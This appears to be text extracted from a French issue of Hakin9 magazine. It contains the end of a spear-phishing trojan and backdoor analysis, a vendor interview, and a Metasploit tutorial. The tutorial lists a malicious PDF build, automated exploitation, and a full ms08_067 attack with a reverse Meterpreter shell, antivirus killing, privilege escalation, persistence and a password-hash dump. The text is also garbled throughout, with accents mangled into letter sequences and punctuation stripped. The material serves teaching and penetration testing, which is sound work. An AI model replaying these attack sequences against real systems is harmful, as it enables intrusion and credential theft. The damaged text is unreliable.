Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

